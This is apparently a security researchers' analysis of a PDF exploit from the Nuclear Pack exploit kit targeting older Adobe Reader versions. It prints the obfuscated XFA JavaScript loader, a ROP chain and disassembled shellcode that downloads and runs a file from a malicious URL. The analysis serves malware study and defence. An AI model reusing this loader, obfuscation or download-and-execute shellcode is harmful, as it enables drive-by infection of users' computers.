On Malwarebytes’ blog it’s recently been published a description about Nuclear Pack exploit kit, though there isn’t a description of the PDF exploit used, so we’ve decided to proceed with a more in-depth analysis.
PDF analysis
In order to start the analysis we have used peepdf:
There are two objects that appear to be suspicious: so let’s start with… object 1:
Object 1 contains an AcroForm (the document’s interactive form dictionary) which points to object 3 having the key XFA, which might indicate a stream, or array, containing an XFA (Adobe XML Forms Architecture) resource.
So let’s see object 17, referenced from the previous argument:
<< /Length 20 0 R /Filter /FlateDecode >> stream <?xml version="1.0" encoding="UTF-8"?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xd p/"> <config xmlns="http://www.xfa.org/schema/xci/1.0/"> <present> <pdf> <version>1.65</version> <linearized>3</linearized> <interactive>1</interactive> </pdf> <xdp> <packets>*</packets> </xdp> <destination>pdf</destination></present></config> <template> <subform name="var_2_" layout="tb" locale="en_US"> <pageSet> <pageArea id="var_3_" name="var_3_"> <contentArea h="787pt" w="577pt" x="0.26in" y="0.26in"/> <medium long="797pt" short="617pt" stock="default"/> </pageArea> </pageSet> <field h="79mm" name="var_1_" w="96mm" x="46.6501mm" y="99.649mm"> <event activity="initialize" name="var_4_"><script contentType="application/x-ja vascript"> var dcdc=' YY YY YY YYfYYuYYnYYcYYtYYiYYoYYnYY YYbYYaYYsYYeYY6YY4Y Y_YYdYYeYYcYYoYYdYYeYY(YY YYdYY YY)YY YY{YYvYYaYYrYY YYbYY6YY4YY YY=YY YY"YYAYYB YYCYYDYYEYYFYYGYYHYYIYYJYYKYYLYYMYYNYYOYYPYYQYYRYYSYYTYYUYYVYYWYYXYYYYYZYYaYYbYY cYYdYYeYYfYYgYYhYYiYYjYYkYYlYYmYYnYYoYYpYYqYYrYYsYYtYYuYYvYYwYYxYYyYYzYY0YY1YY2Y Y3YY4YY5YY6YY7YY8YY9YY+YY/YY=YY"YY;YYvYYaYYrYY YYoYY1YY,YY YYoYY2YY,YY YYoYY3YY, YY YYhYY1YY,YY YYhYY2YY,YY YYhYY3YY,YY YYhYY4YY,YY YYbYY,YY YYiYY=YY0YY,YY YYeYY nYYcYY=YY"YY"YY;YYdYYoYY YY{YY YY YYhYY1YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOY YfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY2YY YY=YY YYbYY6YY4YY.YYi YYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY3YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)Y Y;YYhYY4YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY( YYiYY+YY+YY)YY)YY;YYbYY YY=YY YYhYY1YY<YY<YY1YY8YY YY|YY YYhYY2YY<YY< ;YY1YY2YY YY|YY YYhYY3YY<YY<YY6YY YY|YY YYhYY4YY;YYoYY1YY YY=YY YYbYY>YY>Y Y1YY6YY YY&YY YY0YYxYYfYYfYY;YYoYY2YY YY=YY YYbYY>YY>YY8YY YY&YY YY0YYxY YfYYfYY;YYoYY3YY YY=YY YYbYY YY&YY YY0YYxYYfYYfYY;YYiYYfYY YY(YYhYY3YY YY=YY =YY YY6YY4YY)YY YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhY YaYYrYYCYYoYYdYYeYY(YYoYY1YY)YY;YYeYYlYYsYYeYY YYiYYfYY YY(YYhYY4YY YY=YY=YY YY6 YY4YY)YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYY oYYdYYeYY(YYoYY1YY,YY YYoYY2YY)YY;YYeYYlYYsYYeYY YY YY YYeYYnYYcYY YY+YY=YY YYSY YtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYYoYYdYYeYY(YYoYY1YY,YY YYoYY2YY,YY YYoYY3YY)YY;YY}YY YYwYYhYYiYYlYYeYY YY(YYiYY YY<YY YYdYY.YYlYYeYYnYYgYYtYYhYY )YY;YYrYYeYYtYYuYYrYYnYY YYeYYnYYcYY;YY}YYvYYaYYrYY1YY1YY1YY=YYbYYaYYsYYeYY6YY4Y Y_YYdYYeYYcYYoYYdYYeYY(YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYiYYnYYfYYoYY.YYd YYoYYpYYeYYrYYzYYaYY)YY;YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYeYYvYYaYYlYY(YY vYYaYYrYY1YY1YY1YY)YY;YY'; fgfg='xexvxaxl';oee=xfa.data.nodes.item(0);oee=oee +'';fgfg=oee[4]+fgfg[3]+fgfg[5]+fgfg[7];if(oee[4]=='e'){zea=3}else{zea=4};asd='' ;taran='charAt';for (i=0;i<dcdc.length;i +=zea){ asd +=dcdc[taran](i);};mox ='get';sox='tar'+mox;opop()[sox][fgfg](asd);function opop(){fvfv=event;return fv fv;};</script></event> <ui><imageEdit/></ui> </field> </subform> </template> <PDFSecurity xmlns="http://ns.adobe.com/xtd/" accessibleContent="1" change="1" c ontentCopy="1" documentAssembly="1" formFieldFilling="1" metadata="1" modifyAnno ts="1" print="1" printHighQuality="1"/> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><var _2_><var_1_/></var_2_></xfa:data></xfa:datasets> <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"><annots/></xfdf> <form xmlns="http://www.xfa.org/schema/xfa-form/2.8/" /> </xdp:xdp> endstream
As you can see it’s a XML tree with javascript code. The only interesting thing here is how the code creates the “eval” string:
fgfg = 'xexvxaxl'; oee = xfa.data.nodes.item(0); //object XFAObject oee = oee + ''; //oee has "[object XFAObject]" string fgfg = oee[4] + fgfg[3] + fgfg[5] + fgfg[7]; //make "eval" string
We have started to debug the pdf with the embedded javascript debugger found in Acrobat, we can see that the oee variable, which is an array of characters, contains [object XFAObject] string:
The javascript code into XFA, that in turn calls the eval(), generates another js code in which there are a function to decode base64 encrypted stream (base64_decode(d)) and another eval() function. To check the output we can simply put the js code into an HTML page and debug it with Firebug:
Let’s now check the asd variable:
function base64_decode(d) { var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, b, i = 0, enc = ""; do { ... } while (i < d.length); return enc; } var111 = base64_decode(event.target.info.doperza); event.target.eval(var111);
So the object “doperza” is decoded and executed. But, where is doperza? Inside the pdf of course, but where? Let’s check the second encoded stream: object 42:
PPDF> object 42 << /Length 11088 /Filter /FlateDecode >> stream dmFyIGR2c2Zicndld2RhZHN3ZWZxID0gWzE5LDI5LDEwLDI0XTsgZnVuY3Rpb24gS05MOTIoKXt9O3Zh ciBXTks5bXU9J2d4Sic7ZnVuY3Rpb24gYmdobnR5cmV0cmdmZ3J0aCgpeyBmdW5jdGlvbiBSTUNzQjko KXt9O2Z1bmN0aW9uIHJadmlZKCl7aWYoJ3l3QlonPT0nV ..... MjY4Jz09JycpdmFyIHJxb0o9J2FyZ2MnO312YXIgdVVwOw== endstream
Let’s check this object’s references:
So inside object 41, there’s the key “doperza” referring to object 42 in our encoded stream.
After executing this layer we finally have the exploit code: this code is exploit CVE-2010-0188 and is the same found by Malware Must Die .
The only thing MalwareMustDie guys didn’t say was that the “ret” value is written in a XFA field element : “A field element is the workhorse of a template and represents a data-entry region” having imageEdit tag: “imageEdit widget that allows images (editable) to be supplied as URIs” , through var_1_ var which is the name of this field.
Shellcode analysis
So the exploit works on Adobe Reader 8.0 until Adobe Reader 9.3 version, and it has two shellcode versions: one for 8.0.0 =< version < 8.2.01 and other for version >= 8.2.01. Let’s start with the first.
The execution flow should be this:
- Heap Spray the shellcode
- Exploit LibTiff bug
- Execute ShellCode
For the second point foot js variable is important, we have created a simple python script to inspect its code:
import base64 import binascii t = "o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK" bytes = base64.b64decode(t) binascii.hexlify(bytes) 'a3eb804a 3820824a 6e2f804a ffffffff 00000000 40000000 00000000 00100000 00000000 7e16804a 2020600f 7c10804a'
The code seems to be a ROP (Return Oriented Programming) attack: in fact debugging on Adobe Reader 8 we can see that 0x4a80eba3 is an address of icucnv34.dll, while at 0x4a822038 there’s a pointer to the CreateFileMapping API.
After searching the web for previous analyses, we came up with this post on contagio blog: it’s CVE-2010-2883, for more info about how the shellcode joke in libtiff check the link.
“ffffffff 00000000 40000000 00000000 00100000 00000000” are the arguments to CreateFileMapping API.
There are two interesting addresses: 4080167e
and 4080107c
In this way ESP, the stack pointer register, points to a region of memory which starts with f602020 address. In this region there is the content of sc_hex var, that is the shellcode. After that MapViewOfFile API is called to maps in memory the shellcode to be used and executed by memcpy. Now EIP point to EP of shellcode which begin with 0xb083 bytes.
Another way to find the shellcode is to check the sh_hex variable:
4c 20 60 0f 05 17 80 4a 3c 20 60 0f 0f 63 80 4a a3 eb 80 4a 30 20 82 4a 6e 2f 80 4a 41 41 41 41 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 39 80 4a 64 20 60 0f 00 04 00 00 41 41 41 41 41 41 41 41 b0 83 90 90 eb 16 ....
As you can see there are some very recognisable opcodes: 0x90 and 0xEB and the shellcode. We can start from 0xb083 to disassemble the code:
L_00000000: mov al, 0x83 L_00000002: nop L_00000003: nop L_00000004: jmp 0x1c L_00000006: mov ecx, 0x14c L_0000000B: mov esi, [esp] L_0000000E: mov edi, esi L_00000010: cmp byte [esi], 0xe9 L_00000013: jz 0x1b L_00000015: lodsb L_00000016: xor al, 0x8e L_00000018: stosb L_00000019: loop 0x15 L_0000001B: ret L_0000001C: call 0x6 ; set the return addr to RVA 0x21
This is the first decryption layer, after which we will find the real shellcode:
L_00000021: jmp 0x132 .... L_00000132: call 0x26 ; save into stack the string pointed at 0x137 L_00000137: "http://50d88d1ad05y.correctzoom.uni.me/f/1406197380/6"
L_00000026: pop esi L_00000027: sub esp, 0x15c L_0000002D: mov edi, esp L_0000002F: lea ecx, [edi+0x10] .... L_0000004B: push 0x6e6f ; push "on" string L_00000050: push 0x6d6c7275 ; push "urlm" string L_00000055: push esp ; get the pointer to "urlmon" string L_00000056: push 0xec0e4e8e ; "LoadLibraryA" encripted string L_0000005B: call 0xa8 ; get Kernel32 base address L_00000060: push eax ; push Kernel32 base L_00000061: call 0xe2 ; get LoadLibraryA API address L_00000066: call eax ; call LoadLibraryA with "urlmon" as argument L_00000068: add esp, 0x8 L_0000006B: push 0x54fef4f ;"URLDownloadToCacheFileA" encrypted string L_00000070: push eax ; push urlmon base L_00000071: call 0xe2 ; get LoadLibraryA API address L_00000076: call eax ; call the API with string 0x137 as argument L_00000078: test eax, eax L_0000007A: jnz 0x93 ; jump on error if URLDownloadToCacheFileA API returns E_FAIL L_0000007C: push 0x54 L_0000007E: pop ecx L_0000007F: rep stosb L_00000081: push 0x16b3fe72 ; "CreateProcessA" encripted string L_00000086: call 0xa8 ; get Kernel32 base address L_0000008B: push eax L_0000008C: call 0xe2 ; get LoadLibraryA API address L_00000091: call eax ; call API L_00000093: push ebx L_00000094: push -0x2 L_00000096: push 0xbd016f89 ; "TerminateThread" encripted string L_0000009B: call 0xa8 ; get Kernel32 base address L_000000A0: push eax L_000000A1: call 0xe2 ; get LoadLibraryA API address L_000000A6: call eax ; call API
By calling TerminateThread, the exploit makes the Adobe Reader instance hidden: it’s running but the GUI is not visible.
The second shellcode works in the same way of the previous one, the only different is in the use of icucnv36.dll library instead of icucnv34.dll for the construction of the ROP chain.
To check what the dowloaded file do, check this malwarebytes post.
Here you’ll find all the decrypted code of the exploit without junk code (password, as usual, is: infected).
Pn & Antelox